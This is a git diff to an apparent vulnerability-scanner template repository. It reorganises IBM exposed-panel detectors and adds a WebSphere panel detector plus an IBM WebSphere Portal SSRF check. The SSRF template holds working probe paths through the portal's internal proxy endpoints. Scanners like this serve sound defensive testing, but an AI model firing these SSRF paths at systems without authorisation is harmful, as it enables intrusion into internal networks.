diff --git a/exposed-panels/ibm-advanced-system-management.yaml b/exposed-panels/ibm/ibm-advanced-system-management.yaml similarity index 95% rename from exposed-panels/ibm-advanced-system-management.yaml rename to exposed-panels/ibm/ibm-advanced-system-management.yaml index 7b80a2a8a63..cde7ea576a6 100644 --- a/exposed-panels/ibm-advanced-system-management.yaml +++ b/exposed-panels/ibm/ibm-advanced-system-management.yaml @@ -4,7 +4,7 @@ info: name: IBM Advanced System Management author: dhiyaneshDK severity: info - tags: panel + tags: panel,ibm metadata: shodan-query: 'http.title:"Advanced System Management"' @@ -18,6 +18,7 @@ requests: - type: word words: - 'Advanced System Management' + - type: status status: - 200 diff --git a/exposed-panels/ibm-service-assistant.yaml b/exposed-panels/ibm/ibm-service-assistant.yaml similarity index 95% rename from exposed-panels/ibm-service-assistant.yaml rename to exposed-panels/ibm/ibm-service-assistant.yaml index 050371be3bc..14c562382f5 100644 --- a/exposed-panels/ibm-service-assistant.yaml +++ b/exposed-panels/ibm/ibm-service-assistant.yaml @@ -4,7 +4,7 @@ info: name: IBM Service Assistant author: dhiyaneshDK severity: info - tags: panel + tags: panel,ibm metadata: shodan-query: 'http.title:"Welcome to Service Assistant"' @@ -18,6 +18,7 @@ requests: - type: word words: - 'Welcome to Service Assistant' + - type: status status: - 200 diff --git a/exposed-panels/ibm/ibm-websphere-panel.yaml b/exposed-panels/ibm/ibm-websphere-panel.yaml new file mode 100644 index 00000000000..ac774b932f0 --- /dev/null +++ b/exposed-panels/ibm/ibm-websphere-panel.yaml @@ -0,0 +1,27 @@ +id: ibm-websphere-panel + +info: + name: IBM WebSphere Panel + author: pdteam + severity: info + tags: ibm,websphere,panel + +requests: + - method: GET + path: + - '{{RootURL}}/wps/portal' + + redirects: true + max-redirects: 2 + matchers-condition: and + matchers: + + - type: status + status: + - 200 + + - type: word + words: + - 'IBM WebSphere Portal' + - 'IBMPortalWeb' + condition: or \ No newline at end of file diff --git a/vulnerabilities/ibm/ibm-websphere-ssrf.yaml b/vulnerabilities/ibm/ibm-websphere-ssrf.yaml new file mode 100644 index 00000000000..6e67a5db867 --- /dev/null +++ b/vulnerabilities/ibm/ibm-websphere-ssrf.yaml @@ -0,0 +1,28 @@ +id: ibm-websphere-ssrf + +info: + name: IBM WebSphere Portal SSRF + author: pdteam + severity: high + reference: https://blog.assetnote.io/2021/12/26/chained-ssrf-websphere/ + tags: ibm,ssrf,websphere + +requests: + - method: GET + path: + - '{{BaseURL}}/docpicker/internal_proxy/http/example.com' + - '{{BaseURL}}/wps/PA_WCM_Authoring_UI/proxy/http/example.com' + + redirects: true + max-redirects: 2 + stop-at-first-match: true + matchers-condition: and + matchers: + + - type: status + status: + - 200 + + - type: word + words: + - "Example Domain" \ No newline at end of file